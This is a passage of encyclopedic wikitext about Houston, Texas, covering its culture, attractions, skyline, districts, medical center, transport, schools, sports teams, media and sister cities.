Because the [[Greater Houston]] area and the [[Dallas/Fort Worth Metroplex|Dallas/Fort&amp;nbsp;Worth&amp;nbsp;Metroplex]] are the major economic centers of Texas, the two areas enjoy a friendly rivalry. Houstonians often consider themselves more &quot;down to earth&quot; than their neighbors to the north, and some Houstonians complain that Dallas seems to get more attention nationally, even though Houston has a larger population. This rivalry often leads to comparison of the assets of one city to the assets of the other. For example, Dallas has more restaurants per person than even [[New York City]] while Houstonians eat out more often than residents of any other city in the United States.

Houston has the lowest cost of living and the lowest median housing costs among 27 major U.S. metropolitan areas with populations of more than 1.7 million.

The Houston Theater District is located in the heart of downtown Houston and is home to nine of Houston's [[performing arts]] organizations, six performance halls, as well as the 130,000 square-foot Bayou Place entertainment complex and several public plazas and parks. Houston is one of only five cities in the United States with permanent professional resident companies in all of the major performing arts disciplines&amp;mdash;[[opera]], [[ballet]], [[music]], and [[theatre]].

Of the many popular events held in the city by far the largest is the annual [[Houston Livestock Show and Rodeo]] that is held over twenty days from late February through early March. The event begins with trailrides that originate from several points throughout the state, which convene at [[Reliant Park]]  for a barbeque cook-off.  The HLSR events include rodeo events, concert performances, carnival rides as well as livestock contests and auctions.

Several Houston-based restaurants—most notably Ninfa Laurenzo's [[Mama Ninfa's]] [[Mexican cuisine|Mexican]] restaurant chain, Johnny Carrabba's Carrabba's, and Kim Su Tran La's [[Kim Son|Kim Sơn]] [[Vietnamese cuisine|Vietnamese]] restaurant chain have become well&amp;nbsp;known in Texas and throughout the country.  Houston is also home to Landry's Restaurants, Inc. which owns and operates hundreds of restaurants throughout the United States under 28 different concepts.  The design for the first [[Compaq]] computer was sketched on a napkin at House&amp;nbsp;of&amp;nbsp;Pies, a well-known diner in the [[Upper Kirby]] district.

Houston was named &quot;the fattest city in America&quot; by [[Men's Fitness]] magazine for three years in a row before losing to [[Detroit, Michigan]] in [[2004]].[http://chicago.about.com/od/aboutchicago/a/010605_fat.htm][http://www.cnn.com/2004/US/01/02/fattest.city.ap/]
After the magazines's announcement in 2005, Houston Mayor [[Bill White]] created the citywide &quot;Get Moving Houston&quot; [http://gmh.infovine.com/default.asp?id=1]  program to increase fitness and wellness among Houstonians.

::''See also: [[List of famous people raised in Houston]]''

===A cosmopolitan city===
[[Image:Williams Waterwall Houston.jpg|275px|thumb|right|Williams Waterwall in [[Uptown, Houston, Texas|Uptown Houston]].]]
Houston is a diverse and international city, in part because of its  many academic institutions and strong biomedical, energy, manufacturing and aerospace industries.  A [[port city]], Houston also has large populations of [[immigrant]]s from [[China]], [[Indonesia]], the [[Philippines]], [[Republic of China|Taiwan]], [[South Korea]], [[Japan]], [[India]], [[Pakistan]] and [[Vietnam]]. This influx of immigrants is partially responsible for Houston having a population younger than the national average. [[Image:HOU095.JPG|265KB|thumb|right|The fountain at night.]]

Houston has two [[Chinatown, Houston|Chinatowns]], as well as the third largest [[Vietnamese American]] population in the United States. Recent redevelopment of Midtown from run-down to upscale has increased property values and property taxes, but has also forced some Vietnamese Americans into other areas of the city. The older Downtown Chinatown is also disappearing.

About 90 languages are frequently spoken in the area. Some neighborhoods with high populations of Vietnamese and Chinese residents have [[Chinese language|Chinese]] and [[Vietnamese language|Vietnamese]] street signs in addition to English ones. Houston has the second highest [[South Africa|South African]] population in the United States, after [[Miami, Florida]]. The city is also noted for its large [[Nigeria|Nigerian]] population, counting about 100,000 native Nigerians as residents&lt;sup&gt;[http://usembassy.state.gov/nigeria/wwwhxjan03g.html]&lt;/sup&gt;.

The Hispanic population in Houston is increasing as more and more people from countries of Latin America try to find work in Houston &amp;mdash; Houston has the third largest Hispanic population in the United States.

Houston has the largest concentration of [[gay]] and [[lesbian]] (or [[LGBT]]) population in Texas&amp;mdash;one of the largest in the country. The annual gay [[pride parade]]&amp;mdash;one of the largest events in Houston&amp;mdash;is held in June commemorating the struggle for gay liberation, [[gay rights]], [[gay pride]], and the [[Stonewall riots]] of the late [[1960]]s in New York City. The event is held along Westheimer Road in the [[Montrose, Houston, Texas|Montrose]] area. This area is also home to many gay establishments, such as restaurants, bars, [[nightclub]]s, and [[coffeehouse|coffeehouses]].

Aided by the popularity of the late hip-hop artist [[DJ Screw]], Houston is known among youth, primarily in [[the South]], as having its own distinctive style of hip-hop commonly known as [[Chopped and screwed|screw music]] (referred to locally as simply &quot;screw.&quot;) Many young Houstonians of all ethnicities and socioeconomic backgrounds in touch with local hip-hop culture may remember the advent of this form of Southern rap which began to take place around 1993, helping the city earn an appropriate nickname given by artists and fans: 'Screwston'. 

::''See also: [[List of events in Houston, Texas|List of events in Houston]]''

==Cultural institutions==
[[Image:HCPA Houston.jpg|275px|thumb|left|Hobby Center for the Performing Arts]]
Known for the vibrancy of its [[visual arts|visual]] and [[performing arts]], Houston's [[Houston Theater District|Theater District]] is ranked second in the country (behind [[New York City]]) in the amount of theatre seats in a concentrated downtown area with 12,948 seats for live performances and 1,480 movie seats. Houston has world-class visual and [[performing art]]s organizations, along with a dose of homegrown [[folk art]] such as [[Art Car Museum|Art Cars]]&lt;sup&gt;[http://houston.citysearch.com/profile/9844108/houston_tx/art_car_museum.html]&lt;/sup&gt;. Houston is also one of only five cities in the United States with permanent professional resident companies in all of the major performing arts disciplines (the [[Houston Grand Opera]], the [[Houston Symphony Orchestra]], the [[Houston Ballet]], and [[The Alley Theatre]])&lt;sup&gt;[http://www.visithoustontexas.com/arts_and_culture.asp?pageid=232]&lt;/sup&gt;. Houston widely recognized as the nation's third most important city for contemporary [[visual arts]]. The city is a prime stop for touring companies from Broadway; concerts and shows, from [[The Rolling Stones]] to [[Cirque du Soleil]]; and exhibitions for a variety of interests, ranging from the nation's largest quilting show to auto, boat and home shows.

Adjacent to the Texas Medical Center is the [[Houston Museum District|Museum District]], which is home to most of the city's major museums such as the Museum of Fine Arts, Houston, the Contemporary Arts Museum Houston, the Cullen Sculpture Garden, the [[Houston Museum of Natural Science]], the [[Holocaust Museum Houston]], the Children's Museum of Houston, Lawndale Art Center, the [[Houston Zoo]], the John P. McGovern Museum of Health &amp; Medical Science, and [[Menil Collection|The&amp;nbsp;Menil&amp;nbsp;Collection]]. Approximately 4 million people visit institutions in the Museum District every year.

Houston is also home to several multicultural arts organizations including: [http://www.meca-houston.org MECA] (Multicultural Education and Counseling through the Arts), Kuumba House Dance Theatre, and Nuestra Palabra: Latino Writers Having Their Say.

==Local attractions==
Space Center Houston is the official visitors’ center of [[NASA]]'s [[Lyndon B. Johnson Space Center]]. Space Center Houston includes many interactive exhibits &amp;mdash; including moon rocks and a shuttle simulator&amp;mdash;in addition to special presentations that tell the story of NASA's manned space flight program. It also features Texas’ largest IMAX theatre.

The [[Houston Theater District|Theater District]], a 17-block area in the heart of downtown Houston, is home to Bayou Place Entertainment Complex, restaurants, movies, plazas and parks. Bayou Place Entertainment Complex is a large multilevel building that is home to full service restaurants, bars, live music, [[billiards]], multiple theatres and art house films. The Houston Verizon Wireless Theatre stages a variety of live [[concert]]s and the Angelika Theatre presents the latest in art, foreign and [[independent film]]s.

Houston's many parks include Hermann Park, which has a [[zoo]], a [[museum]] of [[natural science]], and a [[planetarium]]. The civic center was replaced by the [[George R. Brown Convention Center]], one of the nation's largest; and the Jesse H. Jones Hall for the Performing Arts, home of the [[symphony orchestra]].  Sam Houston Coliseum and Music Hall have been replaced by the Hobby Center for the Performing Arts.

Other [[tourism|tourist]] attractions include [[Houston Galleria|the Galleria]], a huge enclosed [[shopping mall]] noted for its luxury stores; Old Market Square; Sam Houston Historical Park, which contains restored homes (built between [[1824]] and [[1868]]) and reconstructed buildings. The [[Battle of San Jacinto|San Jacinto battlefield]] is in the nearby city of [[Deer Park, Texas|Deer&amp;nbsp;Park]]. The [[Port of Houston]] offers free, 90-minute cruises (except on Mondays and during September). Less than an hour from the [[Gulf of Mexico]], Houston is close to sunny [[beach]]es, one of the nation's largest concentrations of pleasure boats, and tourist attractions such as the [[Kemah Boardwalk]] and [[Galveston Island]].

==Architecture==
===Downtown===
[[Image:Houston Panoramic.jpg|thumb|center|736px|A panoramic view of the [[Downtown Houston]] skyline]]
[[Image:JPMorgan Chase Tower from base.jpg|150px|thumb|left|[[J.P. Morgan Chase Tower, Houston|J.P. Morgan Chase Tower]].]]
In the [[1960]]s, [[Downtown Houston]] comprised of a modest collection of mid-rise office structures, but has since grown into one of the largest [[skyline]]s in the United States. In 1960, the [[central business district]] had 10 million square feet (1,000,000 m²) of office space, increasing to about 16 million square feet (1,600,000 m²) in [[1970]]. Downtown Houston was on the threshold of a boom in 1970 with 8.7 million square feet (870,000 m²) of office space planned or under construction and huge projects being launched by [[real estate developer]]s. The largest proposed development was the 32 block Houston Center. Only a small part of the original proposal was ultimately constructed. Other large projects included the Cullen Center, Allen Center, and towers for [[Shell Oil Company]]. The surge of skyscrapers mirrored the skyscraper booms in other cities, such as [[Los Angeles, California|Los Angeles]] and [[Dallas, Texas|Dallas]]. Houston experienced another downtown construction spurt in the [[1970]]s with the energy industry boom.
[[Image:Wells Fargo Bank Plaza, Houston, from base.jpg|150px|thumb|right|[[Wells Fargo Bank Plaza]].]]
The first major [[skyscraper]] to be constructed in Houston was the 50-floor, 714-foot-tall (218 m) One Shell Plaza in [[1971]]. A succession of skyscrapers were built throughout the 1970s, culminating with Houston's tallest skyscraper, the 75-floor, 1,002-foot-tall (305 m) [[J.P. Morgan Chase Tower, Houston|J.P. Morgan Chase Tower]] (formerly the [[Texas Commerce Tower]]), which was completed in [[1982]]. In [[2002]], it was the tallest structure in Texas, ninth-tallest building in the United States and the 23rd tallest skyscraper in the [[world]]. In [[1983]], the 71-floor, 970-foot-tall (296 m) [[Wells Fargo Bank Plaza|Wells Fargo Bank Plaza]] was completed, which became the second-tallest building in Houston and Texas, and 11th tallest in the country. Skyscraper construction in downtown Houston came to an end in the mid-[[1980]]s with the collapse of Houston's energy industry and the resulting severe [[economic recession]]. When the 53-floor [[Texaco]] Heritage Plaza was completed in [[1987]], it appeared that no more skyscrapers would be constructed for a while. However, in 2002, the Houston-based [[Enron Corporation]] began construction of a 40-floor skyscraper which was about to be completed in [[2001]], the year the company collapsed in one of the most dramatic corporate failures in the history of the United States. Other smaller office structures were built in the 2000-2003 period. As of December [[2001]], downtown Houston had about 40 million square feet (4,000,000 m²) of office space, including 28 million square feet (2,800,000 m²) of class A office space.

Many downtown buildings are linked by a [[Houston Downtown Tunnel System|system of tunnels and skywalks]]. [[Image:Houston Texas CBD.jpg|67KB|thumb|left|Downtown Houston]]

===Uptown===
[[Image:Williams_Tower_Moon.jpg|150px|thumb|right|[[Williams Tower]].]]
The [[Uptown Houston]] district boomed along with Houston during the 1970s and early 1980s. A collection of mid-rise office buildings appeared along the [[Interstate 610 (Texas)|Interstate 610]] west (or simply &quot;West Loop&quot;). It became one of the most impressive instances of the [[edge city]]. The highest achievement of Uptown Houston was the construction of the 899-foot-tall (274 m), Philip Johnson designed landmark [[Williams Tower]] (known as the [[Transco Tower]] until [[1999]]). At the time, it was believed to the be the world's tallest skyscraper outside of a [[central business district]]. The Williams Tower was the product of a unique era in Houston: energy companies were loaded with assets and sought impressive, monumental structures to broadcast their power.

The Uptown Houston district is also home to other buildings designed by noted architects such as [[I. M. Pei]] and [[César Pelli]] among others also designed by [[Philip Johnson]]. Large-scale office construction in Uptown Houston, however, came to an end with the collapse of energy prices and the meltdown of Houston's economy in the mid-to-late 1980s. Uptown Houston had 23.8 million square feet (2,210,000 m²) of office space in [[2001]], whereas Downtown Houston had about 40 million square feet (4,000,000 m²). In the late [[1990]]s, there was a mini-boom of mid-rise [[residential]] [[tower]] construction, typically about 30 stories tall. Uptown Houston has accumulated a large concentration of [[high-rise]] residential structures for such a low-density city.

::''See also: [[Tallest buildings in Texas]]''

==Districts and communities==
:''Main article: [[Districts and communities of Houston, Texas|Districts and communities of Houston]]''
[[Image:MidtownHCCTrain.JPG|275px|left|thumb|[[Midtown, Houston, Texas|Midtown]].]]
When Houston was established in [[1837]], the city's founders divided it into political geographic districts called &quot;[[Ward (politics)|wards]].&quot;  The ward designation is the progenitor of the current-day Houston City Council districts &amp;mdash; there are nine in all. 

Locations in Houston are generally classified as either being inside or outside [[Interstate 610 (Texas)|Interstate 610]], known as the &quot;610 Loop&quot; or &quot;The Loop&quot;. Inside the loop generally encompasses the [[central business district]], and has come to define an urban [[lifestyle]] and state of mind. The appellation “inner&amp;nbsp;looper” carries with it the expectation of someone who appreciates cosmopolitan-style city life.

The outlying areas of Houston, the airports and the city's suburbs and enclaves are outside the loop.  Another ring road, [[Texas State Highway Beltway 8|Texas Beltway 8]] (also known simply as the &quot;Beltway&quot;), encircles the city another 5 miles (8 km) farther out. Another ring road, [[Texas State Highway 99|Texas Highway 99]] (also known as the Grand Parkway), is under construction.

Houston, being the largest city in the United States without [[zoning]] laws, has grown in an unusual manner.  Rather than a single “[[downtown]]” as the center of the city's employment, five additional [[business district]]s have grown throughout the [[inner city|inner-city]]. If these business districts were combined, they would form the third largest downtown in the United States. The city also has the third largest skyline in the country (after New York City and [[Chicago, Illinois|Chicago]]), but because it is spread over a few miles, pictures of the city show, for the most part, the main downtown area.

==Healthcare and medical research==
[[Image:Texas Medical Center ariel.JPG|275px|right|thumb|[[Texas Medical Center]].]]
Houston is the seat of the internationally-renowned [[Texas Medical Center]], which contains the world's largest concentration of [[research]] and [[healthcare]] institutions. 

There are 42 member institutions in the Texas Medical Center&amp;mdash;all are [[Non-profit organization|not-for-profit]], and are dedicated to the highest standards of patient and preventive care, [[research]], [[education]], and local, national, and international community well-being. These institutions include 13 renowned [[hospital]]s and two specialty institutions, two [[medical school]]s, four [[nursing school]]s, and schools of [[dentistry]], public health, [[pharmacy]], and virtually all health-related careers. It is where one of the first, and still the largest, air emergency service was created&amp;mdash;a very successful inter-institutional transplant program was developed&amp;mdash;and more [[heart surgery|heart surgeries]] are performed than anywhere else in the world.

Some of the academic and research health institutions are [[Baylor College of Medicine]], [[University of Texas Health Science Center at Houston|The University of Texas Health Science Center at Houston]], and [[The University of Texas M. D. Anderson Cancer Center]]. The M. D. Anderson Cancer Center is widely considered one of the world’s most productive and highly-regarded academic institutions devoted to cancer patient care, research, education and prevention.

:''See also: [[List of hospitals in Texas]]''

==Transportation==
===Highways===
[[Image:Interstate10.png|100px|right|]]
[[Image:US59.png|100px|right|]]
[[Image:TexasSH288.png|100px|right|]]
In Houston [[urban sprawl]] and hot, humid summers have made automobiles the favored means of transportation.  Houston also has excessive [[ozone]] levels and is ranked among the most ozone-polluted cities in the United States.
[[Image:HOU002.jpg|73KB|thumb|right|Houston daytime highway traffic]]
Houston freeways are heavily traveled and often under construction to meet the demands of continuing growth. [[Interstate 45]] south has been in a continuous state of construction, in one portion or another, almost since the first segment was built in [[1952]]. Texas Department of Transportation (TxDOT) planners have sought ways to reduce rush hour congestion, primarily through [[High occupancy vehicle|High-occupancy vehicle]] (HOV) lane for vans and carpools. Timed freeway entrances, which regulate the addition of cars to the freeway, are also common. Houston has an extensive network of freeway cameras linked to a transit control center to monitor and study traffic.

One characteristic of Houston's freeways (and Texas freeways in general) are its [[frontage road]]s (which locals call &quot;feeders&quot;). Alongside most freeways are two to four lanes in each direction parallel to the freeway permitting easy access to individual city streets. Frontage roads provide access to the freeway from businesses alongside, such as gas stations and retail stores.  New landscaping projects and a longstanding ban on new billboards are ways Houston has tried to control the potential side effects of convenience.

Houston has a [[Spoke-hub distribution paradigm|hub-and-spoke]] freeway structure with multiple loops.  The innermost is [[Interstate 610 (Texas)|Interstate 610]], forming approximately a 10 mile diameter loop around downtown. The roughly square &quot;Loop-610&quot; is quartered into &quot;North Loop,&quot; &quot;South Loop,&quot; &quot;West Loop,&quot; and &quot;East Loop.&quot; The roads of [[Texas State Highway Beltway 8|Texas Beltway 8]] and their freeway core, the Sam Houston Tollway, are the next loop, at a diameter of roughly 25 miles. Most of this freeway requires payment of $1.25 toll every five or ten miles ($2.00 toll when crossing the Houston Ship Channel). A controversial proposed highway project, [[Texas State Highway 99|Texas Highway 99]] (The Grand Parkway), would form a third loop outside of Houston.  Currently, the completed portion of Texas Highway 99 runs from just north of [[Interstate 10]], west of Houston, to [[U.S. Highway 59]] in [[Sugar Land, Texas|Sugar&amp;nbsp;Land]], southwest of Houston, and was completed in [[1994]].  The next portion to be constructed is from the current terminus at U.S. Highway 59 to [[Texas State Highway 288]] in [[Brazoria County, Texas|Brazoria County]].

::''See also:''
:::*''[[List of highways in Houston, Texas|List of highways in Houston]]''
:::*''[[List of Texas highways]]''

===Mass transit===
[[Image:MetroRail.jpg|thumb|275px|right|[[METRORail]] in Downtown]]
The [[Metropolitan Transit Authority of Harris County, Texas]], or '''METRO''', provides public transportation in the form of buses, trolleys and lift vans. Uptown, METRO provides free service on the Uptown Shuttle. 

METRO began running light rail service ([[METRORail]]) on [[January 1]], [[2004]]. Currently the track is rather short &amp;mdash; it runs about 8 miles (13 km) primarily along Main Street from central [[Downtown Houston]] to the [[Texas Medical Center]] and [[Reliant Park]]. METRO's various forms of public transportation still do not connect many of the suburbs to the greater city, causing Houstonians to rely on the automobile as a primary source of transportation.  Prior to the opening of METRORail, Houston was the largest city in the United States devoid of a rail transit system by a very large margin.

Following a successful [[referendum]] held locally in 2004, METRO is currently in the beginning design phases of a ten year expansion plan to add five more sections to connect to the current rail system. A 27-mile (43 km) expansion has been approved to run the service from Uptown (the Galleria area) through [[Texas Southern University]], ending at the [[University of Houston]] campus.

===Airports===
Houston is served by two commercial airports &amp;mdash; the largest of which is the [[George Bush Intercontinental Airport]] (IAH).  The airport is the ninth-busiest in the United States for total passengers, and nineteenth busiest worldwide. Houston is the headquarters of [[Continental Airlines]], and [[George Bush Intercontinental Airport]] (IAH) is Continental Airline's largest hub, with over 750 daily departures (over 250 operated by Continental Airlines).  Because of Houston's proximity to [[American Airlines]]' hub in [[Dallas, Texas|Dallas]]-[[Fort Worth, Texas|Fort Worth]], that airline also maintains a large presence at IAH. A long list of domestic cities within [[North America]], as well as international destinations are served directly from this airport. IAH currently ranks second in the United States among U.S. airports with scheduled non-stop domestic and international service (221 destinations), trailing only [[Atlanta]] Hartsfield with 250 destinations.

The second commercial airport in Houston is the [[William P. Hobby Airport]] (named Houston International Airport until [[1967]]). The airport has a lot of low-fare carrier operations, as opposed to Bush Intercontinental Airport's hub operation with [[Continental Airlines]], and is  the only airport in the city served by [[Southwest Airlines]]. Business travelers on shorter routes to Houston from within the United States tend to prefer Hobby over Bush Intercontinental.

The city's third-largest airport and former [[US Air Force]] base, [[Ellington Field]] is primarily used for government and private aircraft.  At one point, [[Continental Express]] operated flights across the city to Bush Intercontinental to allow residents of southeast Houston and Galveston County to easily take flights out of Bush Intercontinental.  However, passenger flights ended on September 7, 2004.

Located southwest of Houston, in the city of [[Sugar Land, Texas|Sugar Land]], is the [[Sugar Land Regional Airport]], formerly Sugar Land Municipal Airport. Sugar Land Regional is the fourth-largest airport in the greater Houston area, and the only general reliever airport in the southwest sector. The airport exclusively serves private planes.

==Education==
===Colleges and universities===
[[Image:UH100.jpg|250px|thumb|right|[[University of Houston]].]]
[[Image:Rice University.JPG|250px|thumb|right|[[Rice University]].]]

Houston is home to the prestigious [[Rice University]], a private institution boasting one of the largest [[financial endowment]]s of any university in the world and ranked the 17th best university overall in the nation by ''[[U.S. News &amp; World Report]]'' [http://www.usnews.com/usnews/edu/college/rankings/brief/natudoc/tier1/t1natudoc_brief.php]. The small undergraduate student body is among the nation's most select and has one of the highest percentages of [[National Merit Scholarship Program|National Merit Scholarship]] winners. Rice maintains a variety of research facilities and laboratories. Rice is also associated with the Houston Area Research Center, a consortium supported by Rice, [[University of Texas at Austin|The University of Texas at Austin]], [[Texas A&amp;M University]], and the [[University of Houston]].

Houston is served by the [[University of Houston System]], the largest urban state system of higher education in the [[Gulf Coast of the United States|Gulf Coast]]. The system has four [[university|universities]], all but one of which are in Houston, and two multi-institution teaching centers. Their flagship institution is the [[University of Houston|University&amp;nbsp;of&amp;nbsp;Houston]], which was founded in 1927 and is the only doctoral degree granting extensive research institution in Houston.  It is the third-largest University in the State of Texas with an enrollment of more than 35,000. The University of Houston is also home to more than 40 research centers and institutes. Among the most prestigious of the University of Houston's colleges is the [[University of Houston Law Center|University&amp;nbsp;of&amp;nbsp;Houston&amp;nbsp;Law&amp;nbsp;Center]] (law school). The University of Houston Law Center's Health Law and Policy Institute is ranked number one in the nation while its intellectual property law program is ranked fifth, according to ''[[U.S. News &amp; World Report]]''. 

[[Texas Southern University]] is a [[Historically Black colleges and universities|historically black university]] located in the historic Third Ward community, is heralded as a pioneer, and distinguishes itself as one of the leading producers of African American scholars that obtain collegiate, professional, and graduate degrees in the state, as well as the nation.

Houston also is home to the [[University of St. Thomas (Texas)|University of Saint Thomas]], a Catholic liberal arts college following the Basilian tradition, founded by the Basilian fathers of [[Canada]], and located in the Montrose area. Another religious college serving Houston is [[Houston Baptist University]].  [[South Texas College of Law]], located in the heart of downtown Houston, boasts one of the nation's finest programs for trial advocacy.

Much of Houston is served by the [[Houston Community College System]], which is one of the largest [[community college]] systems in the United States. HCCS serves the HISD portion of Houston and other areas. Parts of northern Houston are served by [[North Harris Montgomery Community College District]]. Parts of eastern and southeastern Houston are served by [[San Jacinto College]]. Many of Houston's suburbs also have their own community college systems.

::''See also:''
:::*''[[List of colleges and universities in Houston, Texas|List of colleges and universities in Houston]]''
:::*''[[List of colleges and universities in Texas]]''

[[Image:HoustonISDWhiteHQ.jpg|thumb|225px|[[Houston ISD]]'s Hattie Mae White Administration Building]]
[[Image:HoustonLamarHighSchool.JPG|thumb|225px|[[Lamar High School (Houston)|Lamar High School]].]]

===Public schools and libraries===
There are many school districts serving the city of Houston, the largest of which, the [[Houston Independent School District]], serves a large majority of the area within the city limits.
&lt;!--Do not delink any of them!--&gt;
A portion of west Houston falls under the [[Spring Branch Independent School District|Spring Branch]] and [[Alief Independent School District|Alief]] independent school districts. [[Aldine Independent School District|Aldine]] and [[North Forest Independent School District|North Forest]] independent school districts take up a part of northeast Houston. Parts of [[Pasadena Independent School District|Pasadena]], [[Clear Creek Independent School District|Clear Creek]], [[Crosby Independent School District|Crosby]], [[Cypress-Fairbanks Independent School District|Cypress-Fairbanks]], [[Fort Bend Independent School District|Fort Bend]], [[Galena Park Independent School District|Galena Park]], [[Huffman Independent School District|Huffman]], [[Humble Independent School District|Humble]], [[Katy Independent School District|Katy]], [[New Caney Independent School District|New Caney]], and [[Sheldon Independent School District|Sheldon]] independent school districts also take students from the city limits of Houston.

The [[Houston Public Library]] has 36 branches throughout the city, plus the Central Library, located Downtown. The portion of Houston within Fort Bend County is served by the [[Fort Bend County Libraries]], in addition to Houston Public Library. The [[Harris County Public Library]] has 26 branches, mostly in areas outside the city limits of Houston.

===Private schools===
The Houston area is home to more than 300 [[private school]]s and several are well-known. Many of the schools are [[accredited]] by an accrediting agency recognized by Texas Private School Accreditation Commission (TEPSAC).

Among the 50 [http://houstonprivateschools.org/ Houston Area Independent Schools] are [[Strake Jesuit College Preparatory]], [[Saint Agnes Academy]], [[St. Thomas High School]], [[Incarnate Word Academy]], [[St. John's School]], [[Saint Catherine's Montessori]], [[Awty International School]], [[The Emery/Weiner School]], [[St. Thomas' Episcopal School]] and [[The Kinkaid School]]. 

In nearby city of [[Bellaire, Texas|Bellaire]] is the [[Episcopal High School (Bellaire, Texas)|Episcopal High School]].

Houston-area [[Catholic school]]s are operated by the [[Archdiocese of Galveston-Houston]].

==Professional sports==
[[Image:Reliant Stadium.jpg|275px|right|thumb|[[Reliant Stadium]] and the [[Reliant Astrodome]].]]
Houston is home to the MLB [[Houston Astros]], NFL [[Houston Texans]], NBA [[Houston Rockets]], WNBA [[Houston Comets]], and AHL [[Houston Aeros]], all of whom are playing in new state-of-the-art stadiums. [[Minute Maid Park]] (home of the Astros) and [[Toyota Center]] (home of the Rockets, Comets and Aeros) are located Downtown, contributing to an urban renaissance that has transformed Houston's center into a day-and-night destination. [[Rice Stadium]], at Rice University, was the home to [[Super Bowl VIII]], and [[Super Bowl XXXVIII]] was played at the [[Reliant Stadium]] in February [[2004]]. Other sports facilities in Houston are [[Hofheinz Pavilion]], [[Reliant Astrodome]], and [[Robertson Stadium]].

Beginning in [[2006]], the [[Champ Car]] auto racing series will return to Houston for a yearly race, held on the streets of the [[Reliant Park]] complex. The city had previously been home to a Champ Car round from [[1998]] to [[2001]]. On [[April 1]], [[2001]], Houston hosted [[WWE]]'s [[WrestleMania X-Seven]] at the [[Reliant Astrodome]].

The city hosts the annual NCAA football's [[Houston Bowl]] in December. Houston was also host of the NCAA football 2005 Big 12 Conference title game.  Additionally, Houston's Minute Maid Park hosted the MLB All-Star game in 2004 and will host the NBA All-Star game at the Toyota Center in 2006.   

The city received a new [[Major League Soccer]] team on [[December 15]], [[2005]] when the [[San Jose Earthquakes]] decided to relocate the franchise to Houston. Under the relocation agreement the Earthquake name, mascot and logo will remain in San Jose reserved for a future expansion team.  The Houston team, which is currently dubbed &quot;[[Houston 1836]],&quot; will play at [[Robertson Stadium]] at the start of the 2006 season. 

[[Houston Rockets]] owner Leslie Alexander is currently working to bring a [[National Hockey League]] (NHL) franchise to Houston.  The team is expected to be acquired by the purchase and relocation of an existing team rather than through league expansion, most likely the [[Pittsburgh Penguins]]&amp;mdash;which is interested in relocating to Houston.

{| style=&quot;border: 1px solid #ADADAD; margin-bottom: 10px; padding-bottom: 5px;&quot;
|- bgcolor=#ADADAD align=left
! width=150px | Club
! width=100px | Sport
! width=270px | League
! width=120px | Stadium
! width=50px | Logo
|-
| [[Houston Aeros]]
| [[Ice Hockey]]
| [[American Hockey League]]
| [[Toyota Center]]
| [[Image:Houston aeros 200x200.png|30px|Logo of Houston Aeros]]
|-
| [[Houston Astros]]
| [[Baseball]]
| [[Major League Baseball]] ([[National League|NL]])
| [[Minute Maid Park]]
| [[Image:HoustonAstros 100.png|30px|Logo of Houston Astros]]
|-
| [[Houston Texans]]
| [[American Football|Football]]
| [[National Football League]] ([[American Football Conference|AFC]])
| [[Reliant Stadium]]
| [[Image:HoustonTexans 100.png|30px|Logo of Houston Texans]]
|-
| [[Houston Rockets]]
| [[Basketball]]
| [[National Basketball Association]]
| [[Toyota Center]]
| [[Image:HoustonRockets 100.png|30px|Logo of Houston Rockets]]
|-
| [[Houston Comets]]
| [[Basketball]]
| [[Women's National Basketball Association]]
| [[Toyota Center]]
| [[Image:HoustonComets 100.png|30px|Logo of Houston Comets]]
|-
| [[Houston 1836]]&lt;br/&gt;
| [[Soccer]]
| [[Major League Soccer]]
| [[Robertson Stadium]]
| [[Image:Houston_1836_logo.gif|30px|Logo of Houston 1836]]
|}

:''See also: [[Former professional sports teams in Houston, Texas]]

==Media and entertainment==
[[Image:HOU069.JPG|66KB|thumb|left|Houston at night]]
Houston is served by ''[[Houston Chronicle|The Houston Chronicle]]'', its only major daily newspaper with wide distribution. Houston also is home to several [[Houston Television Stations|TV stations]] and [[Houston Radio Stations|radio stations]] that serve the metro area. 

[[KTRK TV]]'s [[Marvin Zindler]] is a well-known figure in Houston, recognizable as much for his voice as for his trademark blue eyeglasses. His week-long exposé on the [[Chicken Ranch (Texas)|Chicken Ranch]] brothel later became the basis for the Broadway musical ''[[The Best Little Whorehouse in Texas]]'', and his health reports on local restaurants have made the phrase &quot;slime in the ice machine&quot; immediately recognizable to any local.

[[KHOU-TV]]'s investigative team, &quot;The 11 News Defenders,&quot; began an investigation into the failure of [[Firestone]] Wilderness AT tires on several vehicles (most notably on the popular [[Ford Explorer]]).  The expose ended up becoming a national story with wide-reaching implications for both Ford and Firestone.  These reports garnered the station and the lead reporter, Anna Werner international attention and several awards including the prestigious [[Edward R. Murrow]] Award and George Foster [[Peabody Award]].  Among the many respected journalists that have worked for KHOU, the best known are former CBS Evening News anchor [[Dan Rather]], [[Linda Ellerbee]] and [[Jessica Savitch]].

[[Univision]] Affiliate [[KXLN]]-TV is among the highest rated Spanish-language television stations in the United States. Its &quot;En Su Defensa&quot; (in your defense) segments have garnered regional acclaim, and En Su Defensa month was proclaimed by Mayor Bill White in 2004.

::''See also:''
:::* ''[[List of movies set in Houston]]''
:::* ''[[List of newspapers in Houston, Texas|List of newspapers in Houston]]''
:::* ''[[List of television stations in Texas]]''
:::* ''[[List of radio stations in Texas]]''

==Sister cities==
Houston has 16 [[sister city|sister cities]] designated by [[Sister Cities International]]. Parentheses denote the year in which sister city relationships were established. 

*[[Image:Flag_of_Scotland.svg|20px|]] [[Aberdeen]], [[Scotland]] (1979)
*[[Image:Flag of the United Arab Emirates.svg|20px|]] [[Abu Dhabi]], [[United Arab Emirates]] (2001)
*[[Image:Flag of Azerbaijan.svg|20px|]] [[Baku]], [[Azerbaijan]] (1976)
*[[Image:Flag of Japan.svg|20px|]] [[Chiba City|Chiba]], [[Japan]] (1973)
*[[Image:Flag of Ecuador.svg|20px|]] [[Guayaquil]], [[Ecuador]] (1987)
*[[Image:Flag_of_Spain.svg|20px|]] [[Huelva]], [[Spain]] (1969)
*[[Image:Flag_of_Turkey.svg|20px|]] [[Istanbul]], [[Turkey]] (1986)
*[[Image:Flag_of_Germany.svg|20px|]] [[Leipzig]], [[Germany]] (1993)
*[[Image:Flag_of_Angola.svg|20px|]] [[Luanda]], [[Angola]] (2003)
*[[Image:Flag_of_France.svg|20px|]] [[Nice]], [[France]] (1973)
*[[Image:Flag_of_Australia.svg|20px|]] [[Perth, Western Australia|Perth]], [[Western Australia]], [[Australia]] (1983)
*[[Image:Flag_of_the_People's_Republic_of_China.svg|20px|]] [[Shenzhen]], [[People's Republic of China]] (1986)
*[[Image:Flag_of_Norway.svg|20px|]] [[Stavanger]], [[Norway]] (1980)
*[[Image:Flag_of_the_Republic_of_China.svg|20px|]] [[Taipei]], [[Taiwan]], [[Republic of China]] (1963)
